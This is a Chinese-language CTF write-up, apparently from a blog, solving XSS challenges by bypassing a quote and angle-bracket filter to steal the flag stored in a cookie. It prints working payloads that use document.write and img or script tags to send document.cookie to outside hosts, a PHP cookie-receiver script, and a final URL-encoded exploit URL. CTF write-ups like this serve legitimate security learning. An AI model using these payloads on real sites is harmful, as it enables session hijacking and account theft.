参考:
- XSS常用绕过(1)
https://blog.csdn.net/hxsstar/article/details/21519301
https://damit5.com/2017/10/15/XSS-%E7%BB%95%E8%BF%87%E5%B8%B8%E7%94%A8%E8%AF%AD%E5%8F%A5/ - 常用绕过(2)
- 主动闭合标签实现注入代码部分
> https://zhuanlan.zhihu.com/p/26177815
利用引号闭合前引号,然后分号换行,加入代码,再闭合一个引号 - script标签嵌套
分析:
这道题整体思路是在构造xss绕过,将绕过payload以URL形式发送,同时还有MD5截断验证。flag在cookie中。绕过的规则源码在xss.php中,可以看到是将你输入的字符串中的""
,<>
替换为空格,所以我们这里需要对这些符号进行转义。常见如下:1
2
3
4" " " 双引号
& & & &符号
< < < 小于号
> > > 大于号
这道题需要进行绕过分析,一直输验证码太麻烦所以我把源码复制下来,在本地进行测试。
同时,在检查源码时可以看到:
我们需要闭合前后的双引号。但是我们这道题不能照搬上例,因为我们后引号后没有分号,所以我选择用//
把后面的整体注释掉。
所以我做了如下尝试:1
2payload:";alert(1);//
转义后:";alert(1);// 本地可以弹窗
随后我就试着构造需要的payload1
2payload: ";<script src=http://xssye.com/V5uu></script>;//
转义后: ";<script src=http://xssye.com/V5uu></script>;// 失败
由于不清楚js标签的一些规则,这里陷入了瓶颈。突然想到hint提到了标签的问题,搜到script标签是不能直接嵌套script标签的,要用documnet.write()
重新构造了payload1
2payload: ";document.write("<script/src=http://xssye.com/V5uu></script>");//
转义后: ";document.write("<script/src=http://xssye.com/V5uu></script>");//
在xss.php页面进行提交,将地址栏得到的URL作为payload进行提交,我发现在xss平台得不到cookie,这个问题困扰了好多天,并且由于用别人的平台我也不清楚到底出错在那里。我决定使用自己的服务器来做。(所以到最后我也不知道为啥用外面的平台我做不出来555)
接下来的问题就是在服务器略微配置,通过查看日志就可以看到cookie了并且我在github clone了清华的一个平台,也非常好用,接下来这道题我放弃了使用现成的XSS平台,转用自己的服务器很顺利的做出来了XSS1,并且重新做了babyxss。
1.直接在服务器获取
首先在服务器上配置LAMP后,在/var/www/html
下建一个get-cookie.php
的文件,代码为:1
2
3
4<?php
$cookie = $_GET['x'];
file_put_contents('cookie.txt', $cookie);
?>
这里用babyxss举例:1
payload:<script>document.location='http://yourlocate/get-cookie.php?x='+document.cookie;</script> //在使用时根据需要进行编码转换
apache的access log
在/var/log/apache2
中 用cat命令打开即可
效果如下:
2.使用数据接收平台
- 链接:https://github.com/firesunCN/BlueLotus_XSSReceiver 再配置,这个平台可以邮件通知
XSS1就是使用了这个平台
基本绕过思路同上,写一个payload试试
1 | payload:";ducoment.write("<img src=http://yourlocate/xss/?cookie="+document.cookie+" />");// |
最终的payload为:1
xss.php?name=%26quot%3B%3Bdocument.write%28%26quot%3B%26lt%3Bimg+src%3Dhttp%3A%2F%2Fyourlocate%2Fxss%2F%3Fcookie%3D%26quot%3B%2Bdocument.cookie%2B%26quot%3B+%2F%26gt%3B%26quot%3B%29%3B%2F%2F
提交后终于得到了cookie!
撒花完结!